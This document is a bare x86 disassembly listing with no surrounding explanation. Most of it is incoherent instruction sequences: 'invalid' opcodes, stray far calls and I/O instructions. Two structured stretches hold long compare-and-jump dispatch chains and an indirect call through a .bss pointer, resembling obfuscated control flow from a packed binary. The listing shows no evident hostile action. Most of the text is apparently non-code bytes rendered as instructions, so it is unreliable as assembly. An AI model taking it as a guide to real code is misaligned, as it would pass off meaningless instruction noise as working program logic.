stosd dword es:[edi], eax
enter 0xffffffffffffd9c9, 0xffffffffffffffbd
and eax, 0xa4e9cc90
adc dword [eax], eax
add byte [eax - 0x7f], ch
lodsd eax, dword [esi]
jecxz 0x67db5c43
push 0xa4e3ad81
push edi
sbb al, 0x65
jb 0x67db5c8d
push es
sahf
fld xword [ebp + 0x216e26b3]
sub dword fs:[eax - 0x46fca4a5], esp
cwde
and edi, ecx
les esi, [ebx - 0x3afe7b6c]
les ebp, [edi]
xor bh, byte [ecx + 0x6a175360]
outsb dx, byte [esi]
jle 0x67db5d10
or bl, byte [edx - 0x22]
loope 0x67db5d33
mov word [ebx - 0x5287d2c5], es
push ebx
mov dl, 0xd8
add dword [eax], eax
pop ds
mov edx, 0xeacd2e5c
cmp ecx, dword [esi + ebx*8 - 0x5a4d1b2c]
int 0xd
mov dword [edi - 0x26], esi
inc esi
xor eax, 0xf35c14a7
cmpsd dword [esi], dword es:[edi]
sub dword [edi - 0x67], edx
test dword [ecx - 0x1fde47a], esi
scasw ax, word es:[edi]
nop
int3
lcall 0xcba0, 0x516f82ab
inc ebx
adc bl, al
adc dword [edi], ebp
mov ebx, gs
mov ch, 0x8f
xchg edx, eax
adc al, 0x2b
invalid
cmc
mov ah, 0xa4
mov cl, 0x8a
cmp ebp, ebp
jmp 0x67db5d40
dec edi
mov al, byte [0x3fe76608]
sub eax, 0x9c6759dc
lds ebp, [ebp - 0x67b691a6]
test al, 0x28
or dword [edx + 0x47], ecx
cmp eax, dword [edi]
rcr byte [ebx + 0x7a], 1
invalid
invalid
add al, 0x5d
jne 0x67db6208
pop edi
movsb byte es:[edi], byte [esi]
invalid
push cs
leave
xchg dword [eax + eax - 0xc7b2c19], edi
add eax, 0x7f5507
mov al, byte [0x183fe2b4]
push edi
push edx
test al, 0x48
pop ecx
sub dword [ebp - 0x693237ae], esi
sub byte [edi + 0x17], al
push es
or esp, dword [ecx - 0x70bc9542]
dec eax
invalid
jns 0x67db6820
jp 0x67db68b6
imul ebp, dword [edi + 0x69], 0xffffffcf
xchg edx, eax
std
cmc
shr dword [ebp - 0x2b64bd82], cl
fdiv dword [edx + 1]
nop
or bh, byte [edi + 0x61]
test dword [esi + ebp*2 + 0x1a], edx
pop edx
sub edi, eax
pop ebx
push ebp
mov ebx, 0x2f950d46
xchg esi, eax
cld
add eax, 0xc247bfb6
sub dl, bl
sub dl, byte [ecx - 0x7a2c8024]
and eax, 0x78478a10
xchg edx, eax
pop esp
and bh, al
invalid
or dh, al
test eax, 0x273cf2
adc byte [eax - 0x661f8f34], dl
in al, 0xce
sbb al, 0xee
mov dh, 0x4b
aam 0x64
hlt
nop
jmp 0x67db6e3e
nop
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov edx, dword [0x680a5024]
add eax, edx
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x120], 0x5cec
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x128], 0xc0c3e
mov dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x128]
mov edx, dword [ebp - 0x124]
sub eax, dword [ebp - 0x120]
sbb edx, dword [ebp - 0x11c]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x130]
xor eax, 0xed0ba
or eax, dword [ebp - 0x12c]
je 0x67dbcafb
mov edx, 0xed0ba
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0xe584a
or eax, dword [ebp - 0x12c]
je 0x67db78ad
mov edx, 0xe584a
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0xdfa38
or eax, dword [ebp - 0x12c]
je 0x67dba1d4
mov edx, 0xdfa38
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0xd036e
or eax, dword [ebp - 0x12c]
je 0x67db72cc
mov edx, 0xd036e
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0xc9080
or eax, dword [ebp - 0x12c]
je 0x67dbd0dc
mov edx, 0xc9080
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0xbc18b
or eax, dword [ebp - 0x12c]
je 0x67dbe27f
mov edx, 0xbc18b
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0xbaf52
or eax, dword [ebp - 0x12c]
je 0x67dbee41
mov edx, 0xbaf52
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0xababf
or eax, dword [ebp - 0x12c]
je 0x67dbb958
mov edx, 0xababf
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0xa79bc
or eax, dword [ebp - 0x12c]
je 0x67db846f
mov edx, 0xa79bc
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0xa07d0
or eax, dword [ebp - 0x12c]
je 0x67dbb377
mov edx, 0xa07d0
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x9717f
or eax, dword [ebp - 0x12c]
je 0x67db9031
mov edx, 0x9717f
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x84618
or eax, dword [ebp - 0x12c]
je 0x67dbdc9e
mov edx, 0x84618
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x77a76
or eax, dword [ebp - 0x12c]
je 0x67dbd6bd
mov edx, 0x77a76
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x72bd0
or eax, dword [ebp - 0x12c]
je 0x67db9612
mov edx, 0x72bd0
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x6d704
or eax, dword [ebp - 0x12c]
je 0x67dbc51a
mov edx, 0x6d704
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x6af93
or eax, dword [ebp - 0x12c]
je 0x67dbad96
mov edx, 0x6af93
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x60fec
or eax, dword [ebp - 0x12c]
je 0x67db8a50
mov edx, 0x60fec
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x46cbf
or eax, dword [ebp - 0x12c]
je 0x67dba7b5
mov edx, 0x46cbf
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x3ff1f
or eax, dword [ebp - 0x12c]
je 0x67db9bf3
mov edx, 0x3ff1f
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x2dfa1
or eax, dword [ebp - 0x12c]
je 0x67dbbf39
mov edx, 0x2dfa1
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x67dbee3e
mov eax, dword [ebp - 0x130]
xor eax, 0x1f317
or eax, dword [ebp - 0x12c]
je 0x67dbe860
mov eax, dword [ebp - 0x130]
xor eax, 0x2637e
or eax, dword [ebp - 0x12c]
je 0x67db7e8e
jmp 0x67dbee3e
dec edx
cmp ebp, dword [edx + 0x24]
retf 0xfe9c
add eax, 0x3da13185
wait
mov ebp, 0x4803c750
mov edi, 0xf9fcd5c3
xchg edi, eax
mov ebx, 0xb26c3630
push ebp
sahf
retf 0x831d
mov dl, 0x70
int3
add al, 0xdb
fsub st(2)
ret
mov eax, esp
cdq
in al, dx
fstp qword [ebp - 0x7140aff0]
enter 0xffffffffffffa52f, 0xb
sub esp, dword [bx]
mov eax, dword [0xadc73f5f]
inc ebp
pop esi
nop
int3
imul ebx, dword [esi], 0x7f
cmpsd dword [esi], dword es:[edi]
or dword [edi + 0xc], ecx
loopne 0x67db7ecc
jno 0x67db7e6d
jo 0x67db7ee8
and al, byte [ebp - 0x4b2e3bc7]
xchg ecx, eax
cmp dword [ecx - 0x65], edx
jnp 0x67db7e48
push ebx
inc eax
xchg byte [esi - 0x31], cl
mov ebp, 0x26558d7b
mov ecx, 0x4858d133
jnp 0x67db7e3e
push ebp
mov ecx, 0x4858d133
push esi
lahf
jp 0x67db7f19
enter 0x607e, 9
lahf
inc edi
pop ss
dec esp
push ds
jns 0x67db7f2b
xchg ecx, eax
scasb al, byte es:[edi]
sub byte gs:[ebx + 0x4f], bh
sub byte [ebx + 0x4f], bh
dec edi
fisub dword [ebx - 0x3e472c91]
leave
jne 0x67db7f2d
pushfd
mov al, 0x9f
jnp 0x67db7eb2
adc dl, al
xchg esp, eax
dec ecx
sahf
xchg esi, eax
sbb eax, 0x8ecd6988
int 0x8e
into
mov bl, byte [ebx]
wait
sbb al, 0xd5
nop
int3
jnp 0x67db7eaf
sub dword [eax - 0x39], edx
cmp al, 0x54
ffree st(6)
xor eax, 0xd6f08cbe
pop es
scasb al, byte es:[edi]
wait
aad 0xbe
outsb dx, byte [esi]
insb byte es:[edi], dx
mov dl, 9
adc edx, dword [edx]
adc al, byte [edx - 0x3e48c971]
fbld tbyte [edx + 0x503bc844]
enter 0x503b, 0xffffffffffffffb3
add eax, 0x17cad77a
and ch, byte [edx + 0x6d]
inc ebp
mov al, 0xae
jmp 0x67db7f8a
push eax
mov bl, 5
jp 0x67db7f09
retf 0x2217
lds ebx, [edx + ebx*8 + 0x51097a08]
push ebp
inc esp
invalid
scasb al, byte es:[edi]
enter 0xffffffffffffce09, 0xffffffffffffffeb
pop ebx
sub al, 0xd6
inc eax
sti
xchg esi, eax
and al, 0x1a
xor al, 0xc6
mov esp, 0xe89d7a0a
jg 0x67db84fb
ror ebp, 1
mov eax, 0x9b330b49
outsd dx, dword [esi]
movsd dword es:[edi], dword [esi]
sbb edx, dword [edi + 0x44e7f4a2]
bound edx, qword [ebx + 0x6ce78293]
sbb al, 0xec
sti
fdiv dword [ebx]
not dword [eax - 0x47]
dec ecx
imul esp, dword [ebp + 0x13], 0xffffffae
xchg ecx, eax
jo 0x67db84f8
in eax, dx
fsub st(7), st(0)
mov dh, 0xf5
scasd eax, dword es:[edi]
pop ecx
mov byte [0xe40e], al
jae 0x67db84fb
in al, dx
fdiv dword fs:[esi - 0x4872733d]
fsub dword [ebx - 0x1fa3dcf4]
arpl word [edx], bx
cmp dword [ebx], edi
mov eax, dword [0x72e4f4f2]
sub ebp, dword [eax - 0x78336fe1]
sbb edx, edi
aaa
rcl dword [edx], 0xc1
mov edi, 0x30fd3e02
sal byte [edi], cl
jae 0x67db84d4
lodsb al, byte [esi]
push es
iretd
xchg esi, eax
les edi, [eax - 0x10de5ca7]
out dx, eax
xchg ebx, eax
pop ecx
mov dword [0x93efef21], eax
dec bp
mov ch, 0x3d
ljmp 0xf928
push ecx
dec edi
fistp word [eax]
dec edx
mov ch, 0x9a
aas
cwde
mov byte [0xaa92e137], al
pop edx
sti
sbb byte [edx - 0x6beaf171], bh
aaa
dec ebp
adc edi, ecx
add eax, 0x8e73347f
sbb byte [ecx], dh
add dword [edx], ebp
inc ecx
push esi
clc
in eax, dx
xor dword [edi - 0x77], 0xffffffc3
mov eax, 0x3aaed6c6
out 0xb6, al
adc al, 0xe6
mov bl, 0xb5
aas
cmp dh, dh
mov al, byte [0x4784fbc3]
jb 0x67db8a9b
invalid
adc byte [0x7687b4c2], dl
insd dword es:[edi], dx
invalid
dec ebx
xor eax, 0xcbc2a7dc
ljmp 0x7bd7
lahf
pop ebp
adc dl, dl
jge 0x67db9032
cmp eax, 0x5cf17dd8
jo 0x67db9005
imul byte [eax + 0x3ecd15a3]
xchg edx, eax
out 0x5f, al
xchg ebx, eax
invalid
test byte [esi], ah
and eax, dword [esi - 0x1a]
pop edi
pop ecx
mov eax, dword [0x90a8ac0f]
ror byte [ebx + 0x2fedfdbf], 1
mov cl, 0x29
mov esi, 0x42c8de19
clc
fdivp st(3)
pop esp
mov esi, 0xa1f8cf4a
and ah, byte [ebx - 0x63]
sal dword [edi + 0x4a6d4344], 0x5a
into
hlt
dec edi
push edx
add byte [eax], al
lds ebp, [0x46fa86bc]
rcl byte [eax - 0x1c]
sub esi, dword [edi + 0x3d03adf6]
loopne 0x67db9c0b
loop 0x67db9c1a
cmp byte [esi - 0x2e7baca7], dh
add eax, 0x264f5aa
rol dword [0x264f5aa], 1
xchg ecx, eax
pushfd
invalid
rcl ah, cl
loope 0x67db9c15
aam 0xe1
std
mov bh, 0xec
out 0x62, eax
mov esi, 0xaabf0836
and dword [ebx + 0x1ac474fd], ebx
dec esi
sbb eax, 0x5fef9fb7
push 0x6e2ce2f2
mov edx, 0x2deea4b0
rcl byte [esi]
insb byte es:[edi], dx
mov cl, 0xc4
push esp
leave
xchg ecx, eax
out dx, al
jp 0x67db9c14
fadd dword [edi + edi*4 - 0x7c64e61]
push edi
cmp al, 0x2a
cli
cmc
add eax, 0x27772878
jecxz 0x67db9bef
nop
int3
inc esi
mov bl, 0x1d
mov ebp, 0x12b0203
mov esp, 0x7bfa6bf0
pop ecx
iretd
xchg ebp, eax
cmp eax, 0xac6df206
pop es
mov esi, ecx
jg 0x67dba180
fxch st(7)
and dword [edi], 0xfd8bca99
pop eax
xchg ebx, eax
mov ebp, edx
cmp bl, byte [ebx]
jbe 0x67dba25a
pop ebp
test ebp, ebp
push 0x1b
xchg esi, eax
push cs
xchg esp, eax
mov esi, 0xfdf2de63
push ebx
test al, 0x69
pushal
jmp 0x6861a37a
push ecx
mov ecx, 0x5a620afb
aad 0xc3
test dword [eax + 0x6478fbf2], eax
cmpsb byte [esi], byte es:[edi]
pop eax
adc dh, byte [0x1400b6d1]
test eax, 0x588e39fe
jg 0x67dba1f6
in eax, dx
xchg ecx, eax
insb byte es:[edi], dx
cmpsd dword [esi], dword es:[edi]
nop
int3
adc edi, dword [ebx + ebx*2]
loop 0x67dba215
fstp xword [eax + 0x4d]
sbb cl, 0x69
invalid
inc esp
out 0xf0, eax
push 0x226521b2
adc dword [ebp + 0x26], edi
cli
mov bl, 0x4c
xchg edx, eax
and byte ss:[0x8aac1ce1], dh
push esi
les ebp, [eax + 0x4c]
mov dl, 0xea
pop esi
invalid
stosb byte es:[edi], al
lahf
and edx, ebp
pushal
invalid
dec edx
retf
adc byte [edi + 0x67], ah
pushal
dec edi
cmp al, 0x47
cmp al, 0x47
or byte [ebp + 0x76], dl
jge 0x67dbb34d
pushal
cmp dl, al
das
dec ecx
popfd
sub al, 0xa7
movsd dword es:[edi], dword [esi]
jl 0x67dbb330
lodsb al, byte [esi]
xor edx, dword [ecx]
jae 0x67dbb36f
mov edx, 0x98eb23c7
test al, 0xbf
xor cl, byte [edi - 0x6f6ebcb3]
inc ebx
xchg ecx, eax
nop
int3
jne 0x67dbb36e
jg 0x67dbb347
mov dl, 0x81
aas
invalid
div dword [eax + 0x78dc695c]
insb byte es:[edi], dx
jecxz 0x67dbb960
xchg edi, eax
mov ebx, 0x899486b
invalid
stosd dword es:[edi], eax
sbb al, 0x88
sbb eax, 0x9baeae18
xchg ecx, eax
add eax, 0x465910db
rol cl, 1
and dh, 0xdd
sbb dword [edi + 0x16fa5521], 0x7a2b08c6
std
inc ecx
js 0x67dbb93c
test al, 0xba
xchg esp, eax
sub eax, 0x39bbe36b
js 0x67dbb9e7
pushal
xchg edi, eax
push ecx
xchg ebp, eax
pop ecx
ror dword [ebx], 1
call 0x4495adf0
lahf
sahf
jae 0x67dbb960
sbb eax, 0x1f89db5e
aas
wait
cmp dl, byte [edi - 8]
sub byte [edx + 0x2838e414], 0x4b
sub byte [ecx], dh
adc dword [eax], esi
or dword [ebp + ebp*2 + 0x59d5558e], 0x6f
das
lodsd eax, dword [esi]
xchg edx, eax
fldlg2
mov bl, 0xb1
invalid
xchg byte [edi], bl
js 0x67dbb9fb
adc eax, 0x141460cd
or edx, dword [edi - 0x89ed323]
mov ebp, 0x1044e3e1
push eax
cmpsb byte [esi], byte es:[edi]
adc byte [eax - 0x5a], dl
push edi
push ss
sub al, 0xf9
ret
out dx, eax
mov ch, 2
inc esi
out 0x9d, eax
insd dword es:[edi], dx
sbb al, bl
mov al, byte [0x13ef83ef]
xor ecx, dword [ebx + 0x41]
inc edi
xchg ecx, eax
jecxz 0x67dbbf64
invalid
cwde
lds edi, [eax]
les eax, [esi - 0x7f2f8fa0]
ror dword [ebp - 0x27e7c4a], cl
adc eax, 0x50aa27ee
rol byte [eax - 0x7c49722d], 1
cmp ebp, 0xaa27ee15
push eax
pop ss
xchg ebp, eax
dec esi
push es
movsb byte es:[edi], byte [esi]
jb 0x67dbbf5d
jmp 0xc1a7d1f
cmp cl, bl
mov bh, 0x7a
mov ecx, 0x33cd5a14
in eax, 0x9b
dec ebx
cmp byte [ecx], bl
ret 0x495b
jnp 0x67dbca56
add dh, dh
xor al, 0x1e
imul ebp, ebx, 0x1b
sbb ch, byte [esi - 0x4d417894]
in eax, 0xb0
pop esp
inc eax
dec esp
mov cl, 0x27
loope 0x67dbca94
mul bl
invalid
and dword [esi], edx
fist word [0x4d64c05]
salc
lea esi, [edx + 0x528c30b7]
mov edi, 0xb04ad3fe
mov byte [0xc9fcbc37], al
sbb al, 0xf3
scasb al, byte es:[edi]
mov dword [0x7082a3d6], eax
xchg ebx, eax
hlt
add byte [esi + 0x2e], ch
add byte [esi + 0x2e], ch
mov es, ebp
pop ss
loope 0x67dbca36
ret
mov esi, 0xd053590c
pop esi
sbb eax, 0x68077526
jno 0x67dbcb3d
mov cl, 0xb0
adc ah, dh
cli
xchg edx, eax
mov dh, 0xf6
clc
inc byte [edi - 0xb699277]
int 0xb
sub al, 0xe6
add byte [eax - 0xc6d49e1], dl
jne 0x67dbca95
mov byte [0x8f45b983], al
xchg byte [esi + esi*8], bl
mov byte [ebp - 0x6ff9224b], 0xcc
jmp 0x67dbee42
test dword [edi], 0x6925a505
mov ebp, 0x38cee1f9
loop 0x67dbcabe
fisttp qword [edi + 0x4e]
wait
xor cl, bh
rol bh, cl
fdivr st(6), st(0)
insb byte es:[edi], dx
sbb cl, byte [edx - 0x64]
mov dl, 0x81
xchg esi, eax
pop ss
mov ebx, 0x2dcbcb8b
sbb al, 0x9c
mov cl, 0x27
test al, 0x19
dec edi
adc dword [0x268ed9f6], eax
aam 0x95
sti
mov eax, 0x8e4e1344
jb 0x67dbcb3a
aas
cli
salc
adc byte [esi + edx], cl
mov edi, 0xa04e5e2a
invalid
retf
movsd dword es:[edi], dword [esi]
jns 0x67dbd08b
add dword [edi], 0x6a8d0483
add byte [ecx - 0xc7f39d3], cl
xlatb
and ax, 0xf599
sbb eax, 0x790dfaa7
salc
inc ebx
invalid
lcall 0x17, 0x85e9cc90
add byte [esi + 0x70], dl
cmc
push esi
jo 0x67dbd6b5
pop edi
popal
adc byte [edx - 0x1b3c5dd9], dl
adc dword [esi + 0x2b64c09f], edx
pop esi
dec eax
invalid
pop ss
rol ebx, 0x11
aad 0xf
sub esp, ebp
push ebx
aaa
outsb dx, byte [esi]
aaa
sub al, 0x30
xchg ebp, ebx
invalid
cmp esp, dword [ecx - 0x18bc9ad]
aad 0xe4
invalid
nop
int3
jb 0x67dbe7f5
inc ecx
sal byte [eax], cl
cld
lahf
sub byte [ebx + 0x28], ch
mov esp, 0x3ec17d52
fnstenv [0x883a1cee]
lea edx, [edi]
rcl byte [edx - 0x41]
push edi
outsb dx, byte [esi]
jg 0x67dbe8a6
jmp 0x67dbe8e4
sal edx, cl
xchg esi, eax
imul eax, dword [edx + ebx*8 + 0xc627172], 0x35
lodsd eax, dword [esi]
inc edi
std
popal
salc
test byte [ecx - 0x60], cl
mul dh
xor dword [eax], ecx
in al, dx
push ebx
xchg ebx, eax
nop
int3
add esi, edx
pushfd
call 0xbc14417f
mov esp, dword [ebp - 0x555e01ef]
ret 0x141e
nop
jmp 0x67dbee42
nop
mov eax, dword [section..bss]
mov edx, dword [ebp - 0x114]
add edx, 2
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x94]
mov dword [esp], edx
call eax
sub esp, 8
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x140], 0xe36fb
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x148], 0x6aeb8
mov dword [ebp - 0x144], 0
mov eax, dword [ebp - 0x140]
mov edx, dword [ebp - 0x13c]
sub eax, dword [ebp - 0x148]
sbb edx, dword [ebp - 0x144]
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x150]
xor eax, 0xe6f3c
or eax, dword [ebp - 0x14c]
je 0x67dbf6c6
mov edx, 0xe6f3c
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0xde4b0
or eax, dword [ebp - 0x14c]
je 0x67dbfca7
mov edx, 0xde4b0
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0xd90b3
or eax, dword [ebp - 0x14c]
je 0x67dbf0e5
mov edx, 0xd90b3
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0xc41e8
or eax, dword [ebp - 0x14c]
je 0x67dc0e4a
mov edx, 0xc41e8
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0xa512f
or eax, dword [ebp - 0x14c]
je 0x67dc1a0c
mov edx, 0xa512f
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0x881da
or eax, dword [ebp - 0x14c]
je 0x67dc0288
mov edx, 0x881da
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0x78843
or eax, dword [ebp - 0x14c]
je 0x67dc3190
mov edx, 0x78843
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0x6ca9a
or eax, dword [ebp - 0x14c]
je 0x67dc2baf
mov edx, 0x6ca9a
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0x68045
or eax, dword [ebp - 0x14c]
je 0x67dc0869
mov edx, 0x68045
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0x358f8
or eax, dword [ebp - 0x14c]
je 0x67dc142b
mov edx, 0x358f8
mov eax, 0
cmp edx, dword [ebp - 0x150]
sbb eax, dword [ebp - 0x14c]
jl 0x67dc318d
mov eax, dword [ebp - 0x150]
xor eax, 0x20417
or eax, dword [ebp - 0x14c]
je 0x67dc25ce
mov eax, dword [ebp - 0x150]
xor eax, 0x31e34
or eax, dword [ebp - 0x14c]
je 0x67dc1fed
jmp 0x67dc318d
xchg ecx, eax
xchg ecx, eax
les ebp, [edi + esi*2]
cld
invalid
add eax, 0x5502540d
fnstsw word [eax - 0x58d55484]
dec eax
inc esp
je 0x67dbf654
dec eax
frstor dword [ecx - 0x4bd32e7]
insb byte es:[edi], dx
scasb al, byte es:[edi]
sar dword [esi + 0x3c4bc8ee], 0xea
into
jns 0x67dbf6b6
cmp ch, byte [ebp + ebp + 0x63]
cmc
cmpsd dword [esi], dword es:[edi]
dec ecx
out dx, al
xchg byte [esi], cl
invalid
push ecx
pop es
pop ebx
pushfd
clc
mov esi, 0xd3cc901c
ret
dec edx
mov al, 0x3e
xor ch, dh
dec esp
xchg byte [esi], dh
dec ebx
jae 0x67dbf6ce
lcall 0xc09f, 0xd0a79188
and dword [ebp + 0x59], esp
stosb byte es:[edi], al
jg 0x67dbf706
jg 0x67dbf670
call 0xbc7891c7
js 0x67dbf617
cmp ebx, dword [ebx - 0x7687ab64]
popal
or byte [eax + ebx*4 + 0x37e3bda4], bh
mov cl, 0x67
aam 0xe8
dec edi
les esi, [ecx]
fsubrp st(1)
pop ss
enter 0xc85, 0xffffffffffffffce
pop ecx
std
cmp eax, 0x78757bf2
xor dl, byte [eax + 0x605cae7f]
lcall 0x64cd, 0xf03138d1
int 0x64
or ebp, dword [edi]
hlt
int 0x6b
in al, dx
popfd
or dword [edi + 0x769cd76c], eax
popfd
xlatb
pushfd
jbe 0x67dbf66f
sub byte [edx], cl
or al, 0x88
xlatb
and eax, 0x45040c22
and dword [edx], edi
jl 0x67dbf6de
sahf
mov eax, dword ds:[0x5332962c]
jne 0x67dbf686
push cs
mov edx, 0x65d22617
test al, 0x3a
enter 0x3e34, 0xffffffffffffffb8
xor dh, byte [eax + edi*2]
pop es
jmp 0x5d8b9fcc
ret
movsd dword es:[edi], dword [esi]
into
call 0x730b4596
xchg dword [ebx], ebx
cmp eax, 0x2d8c5200
popfd
std
aad 2
mov word [0x2d5fd9d], gs
mov esi, 0x350593f8
pop esp
cwde
push ss
fisttp word [eax]
mov esi, 0x9a9f489a
popal
dec eax
push eax
invalid
inc edx
mov ebp, 0xa347b619
int 0x7d
xor byte [edi + 0x33], bl
jae 0x67dbfc56
and edx, esi
loopne 0x67dbfc62
and al, 0xe7
shr byte [eax + 0x4d], cl
jecxz 0x67dbfc7b
dec esi
pop esi
out 0x23, eax
int1
xchg byte [edi], bh
dec edi
das
retf
inc esi
mov edx, dword [eax]
out dx, eax
adc bh, ch
cmp ebp, ebp
and dh, byte [ebp + 0x23e93eef]
pop es
push eax
ror ebp, cl
jb 0x67dc02c6
invalid
cmp al, 0x96
jl 0x67dc028a
das
mov dword [ecx - 0x11], edi
invalid
iretd
repne scasb al, byte es:[edi]
inc edx
test al, 0xa5
f2xm1
push es
shl dh, 0xfc
xchg dword [ebx - 0x29], esi
sub al, 0x8c
add eax, 0x9ea786d3
popal
ljmp 0x9a0
push es
push ebx
movsd dword es:[edi], dword [esi]
pushfd
cmp ch, byte [edx + 0x1229ae51]
sbb edi, 0x9a916147
aaa
cmovp edx, dword [eax + ebp + 0x6b]
pop ebx
ja 0x67dc0e71
xchg eax, eax
dec ebp
jge 0x67dc0e01
test dword [0x15c24196], esp
wait
enter 0xffffffffffffdff2, 0xfffffffffffffffb
invalid
invalid
push esi
and byte [ebp - 0x52554550], 0x84
dec esi
invalid
jns 0x67dc13ca
cmp dword [ecx + 4], esp
invalid
lea ecx, [0xea2739d6]
push cs
scasb al, byte es:[edi]
sub al, 0x1a
test byte [esi - 0x748c7037], 0xc6
sbb al, 0x7d
test al, 0x44
mov byte [edi + 0x6d], dl
pop esp
cmp ch, byte [eax - 0x47c4ce37]
and ebx, dword [eax - 0x3b38de7b]
dec ecx
sbb dl, byte [ecx + 0x24]
cmc
sar byte ds:[esi + 0x4f57f950], 0x57
enter 0xffffffffffffd3bf, 0xffffffffffffffbb
cmp al, 0x18
int1
sbb eax, 0xd83c968
dec ecx
wait
aaa
popal
sbb byte cs:[0x27312a37], ch
push ss
sti
sbb al, 0x38
or ah, bl
xchg edi, eax
xor dword [esi + 0x63d35741], esi
retf 0xf873
fdiv dword [ebp + 0x6bdfc14e]
out 0x42, al
ret
and dl, byte [ecx - 0x25]
scasb al, byte es:[edi]
mov dl, 0x53
pop edi
push ecx
sub al, 0x45
adc byte es:[eax], dh
mov dword [0xbf4fc946], eax
fidiv dword [edi + 0x44]
jns 0x67dc1fc1
mov cl, 0x15
mov ecx, 0xdff8e19f
lodsd eax, dword [esi]
sahf
mov dl, 0xa4
adc eax, 0xf8e19fb9
fild qword [ebp + 0x68a4b29e]
xlatb
pop eax
mov dh, 0xca
push 0xcab658d7
xor ebx, dword [esi]
xor dword [edi - 0x31d2d04d], edi
adc dh, byte [edx - 0x3a809ffd]
add al, 0x5a
push es
sub dl, al
jp 0x67dc2006
and bl, ch
lcall 0x2dfa, 0x781025fe
sahf
lcall 0x5545, 0xd27e45dc
pop edi
push gs
call 0xf4f2b0fb
enter 0x7d1f, 0xffffffffffffffa7
in eax, dx
mov cl, 0x86
push 0xcc909405
